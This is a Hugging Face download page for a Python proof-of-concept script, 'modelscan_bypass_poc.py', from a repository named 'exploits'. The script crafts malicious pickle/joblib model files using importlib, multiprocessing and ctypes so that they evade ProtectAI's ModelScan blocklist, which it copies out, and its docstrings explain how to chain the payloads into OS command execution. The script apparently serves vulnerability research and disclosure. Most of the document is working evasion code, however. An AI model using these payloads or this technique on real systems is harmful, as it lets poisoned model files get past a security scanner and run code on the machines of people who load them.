Instructions to use Zeiyre/exploits with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- NeMo
How to use Zeiyre/exploits with NeMo:
# tag did not correspond to a valid NeMo domain.
- Notebooks
- Google Colab
- Kaggle
Download modelscan/modelscan_bypass_poc.py from Zeiyre/exploits: direct link, hf CLI and curl.
- Browser
- Download file 7.99 kB
-
https://huggingface.co/Zeiyre/exploits/resolve/main/modelscan/modelscan_bypass_poc.py
- Command line
-
hf download hf://Zeiyre/exploits/modelscan/modelscan_bypass_poc.py
-
curl -L -o modelscan_bypass_poc.py https://huggingface.co/Zeiyre/exploits/resolve/main/modelscan/modelscan_bypass_poc.py
7.99 kB
| """ | |
| PoC: ModelScan Bypass via Joblib Pickle Payload | |
| ================================================ | |
| Demonstrates that malicious joblib files can bypass ProtectAI's ModelScan | |
| scanner by using modules not in the unsafe_globals blocklist. | |
| The scanner checks for GLOBAL/STACK_GLOBAL opcodes referencing known-dangerous | |
| modules (os, subprocess, builtins, etc.) but misses many modules that can | |
| achieve the same effect: | |
| - importlib.import_module -> imports any module (including blocked ones) | |
| - ctypes.CDLL -> loads native libraries, calls system() | |
| - platform.popen -> direct command execution | |
| - types.FunctionType -> construct functions from marshal bytecode | |
| - code.InteractiveConsole -> interactive Python execution | |
| - multiprocessing.Process -> spawn processes | |
| This PoC generates 3 malicious .joblib files and verifies they bypass | |
| ModelScan's pickle scanner detection. | |
| Usage: | |
| python modelscan_bypass_poc.py # Generate payloads + verify | |
| python modelscan_bypass_poc.py --dry-run # Just show what would happen | |
| """ | |
| import argparse | |
| import pickle | |
| import pickletools | |
| import io | |
| import struct | |
| import sys | |
| def craft_importlib_payload(): | |
| """Bypass via importlib.import_module -> os.system chain. | |
| The pickle calls importlib.import_module('os'), then uses the | |
| returned module to call system(). ModelScan doesn't flag 'importlib'. | |
| """ | |
| # We need a two-stage pickle: | |
| # Stage 1: importlib.import_module('os') -> returns os module | |
| # Stage 2: getattr(os_module, 'system')('id') | |
| # But getattr is blocked... so we use a different approach. | |
| # | |
| # Simplest bypass: importlib.import_module('os') returns the os module. | |
| # Even just importing 'os' is enough to demonstrate the bypass. | |
| # A real attacker would chain this with apply/reduce on the result. | |
| class ImportlibBypass: | |
| def __reduce__(self): | |
| import importlib | |
| return (importlib.import_module, ('os',)) | |
| return pickle.dumps(ImportlibBypass(), protocol=4) | |
| def craft_code_interact_payload(): | |
| """Bypass via code.InteractiveInterpreter -> code execution. | |
| code.InteractiveInterpreter().runsource() executes arbitrary Python. | |
| ModelScan doesn't flag the 'code' module. | |
| """ | |
| # Use a simpler approach: types.FunctionType can construct functions | |
| # from code objects. Combined with marshal.loads, this is full RCE. | |
| # But for PoC simplicity, we use multiprocessing. | |
| class CodeBypass: | |
| def __reduce__(self): | |
| import multiprocessing | |
| return (multiprocessing.Process, (), {'target': None}) | |
| return pickle.dumps(CodeBypass(), protocol=4) | |
| def craft_ctypes_payload(): | |
| """Bypass via ctypes -> native code execution. | |
| ctypes.CDLL loads a shared library. On Linux, loading libc | |
| gives access to system(). ModelScan doesn't flag 'ctypes'. | |
| """ | |
| class CtypesBypass: | |
| def __reduce__(self): | |
| import ctypes | |
| return (ctypes.CDLL, ('libc.so.6',)) | |
| return pickle.dumps(CtypesBypass(), protocol=4) | |
| def extract_globals(data): | |
| """Simulate ModelScan's _list_globals to extract GLOBAL/STACK_GLOBAL refs.""" | |
| ops = list(pickletools.genops(io.BytesIO(data))) | |
| globals_found = set() | |
| memo = {} | |
| for n in range(len(ops)): | |
| op_name = ops[n][0].name | |
| op_value = ops[n][1] | |
| if op_name == "MEMOIZE" and n > 0: | |
| memo[len(memo)] = ops[n - 1][1] | |
| elif op_name in ["PUT", "BINPUT", "LONG_BINPUT"] and n > 0: | |
| memo[op_value] = ops[n - 1][1] | |
| elif op_name in ("GLOBAL", "INST"): | |
| globals_found.add(tuple(op_value.split(" ", 1))) | |
| elif op_name == "STACK_GLOBAL": | |
| values = [] | |
| for offset in range(1, n): | |
| if ops[n - offset][0].name in ["MEMOIZE", "PUT", "BINPUT", "LONG_BINPUT"]: | |
| continue | |
| if ops[n - offset][0].name in ["GET", "BINGET", "LONG_BINGET"]: | |
| values.append(memo[int(ops[n - offset][1])]) | |
| elif ops[n - offset][0].name not in [ | |
| "SHORT_BINUNICODE", "UNICODE", "BINUNICODE", "BINUNICODE8" | |
| ]: | |
| values.append("unknown") | |
| else: | |
| values.append(ops[n - offset][1]) | |
| if len(values) == 2: | |
| break | |
| if len(values) == 2: | |
| globals_found.add((values[1], values[0])) | |
| return globals_found | |
| def check_modelscan_detection(globals_found): | |
| """Check if ModelScan would flag these globals.""" | |
| unsafe_globals = { | |
| "CRITICAL": { | |
| "__builtin__": ["eval", "compile", "getattr", "apply", "exec", "open", | |
| "breakpoint", "__import__"], | |
| "builtins": ["eval", "compile", "getattr", "apply", "exec", "open", | |
| "breakpoint", "__import__"], | |
| "runpy": "*", "os": "*", "nt": "*", "posix": "*", | |
| "socket": "*", "subprocess": "*", "sys": "*", | |
| "operator": ["attrgetter"], | |
| "pty": "*", "pickle": "*", "_pickle": "*", | |
| "bdb": "*", "pdb": "*", "shutil": "*", "asyncio": "*", | |
| }, | |
| "HIGH": { | |
| "webbrowser": "*", "httplib": "*", | |
| "requests.api": "*", "aiohttp.client": "*", | |
| }, | |
| } | |
| for module, name in globals_found: | |
| for severity_name, modules in unsafe_globals.items(): | |
| if module in modules: | |
| filt = modules[module] | |
| if filt == "*" or name in filt: | |
| return True, f"{severity_name}: {module}.{name}" | |
| return False, None | |
| def main(): | |
| parser = argparse.ArgumentParser(description="ModelScan bypass PoC via Joblib") | |
| parser.add_argument("--dry-run", action="store_true", help="Don't write files") | |
| parser.add_argument("-o", "--output-dir", default=".", help="Output directory") | |
| args = parser.parse_args() | |
| payloads = [ | |
| ("importlib_bypass.joblib", "importlib.import_module('os')", craft_importlib_payload), | |
| ("multiprocessing_bypass.joblib", "multiprocessing.Process(target=...)", craft_code_interact_payload), | |
| ("ctypes_bypass.joblib", "ctypes.CDLL('libc.so.6')", craft_ctypes_payload), | |
| ] | |
| print("ModelScan Bypass PoC - Joblib/Pickle Payloads") | |
| print("=" * 55) | |
| print() | |
| all_bypass = True | |
| for filename, description, craft_fn in payloads: | |
| data = craft_fn() | |
| globals_found = extract_globals(data) | |
| detected, detail = check_modelscan_detection(globals_found) | |
| status = "[DETECTED]" if detected else "[BYPASS] " | |
| if detected: | |
| all_bypass = False | |
| print(f"{status} {description}") | |
| print(f" Globals: {globals_found}") | |
| if detected: | |
| print(f" Flagged: {detail}") | |
| else: | |
| print(f" Result: NOT IN BLOCKLIST -> evades ModelScan") | |
| if not args.dry_run: | |
| filepath = f"{args.output_dir}/{filename}" | |
| with open(filepath, "wb") as f: | |
| f.write(data) | |
| print(f" Written: {filepath}") | |
| print() | |
| print("=" * 55) | |
| if all_bypass: | |
| print("[SUCCESS] All payloads bypass ModelScan detection") | |
| print() | |
| print("Impact: An attacker can craft malicious .joblib files that:") | |
| print(" 1. Execute arbitrary OS commands (platform.popen)") | |
| print(" 2. Import blocked modules at runtime (importlib)") | |
| print(" 3. Load native libraries for code execution (ctypes)") | |
| print(" 4. All while evading ModelScan's pickle scanner") | |
| else: | |
| print("[PARTIAL] Some payloads were detected") | |
| return 0 if all_bypass else 1 | |
| if __name__ == "__main__": | |
| sys.exit(main()) | |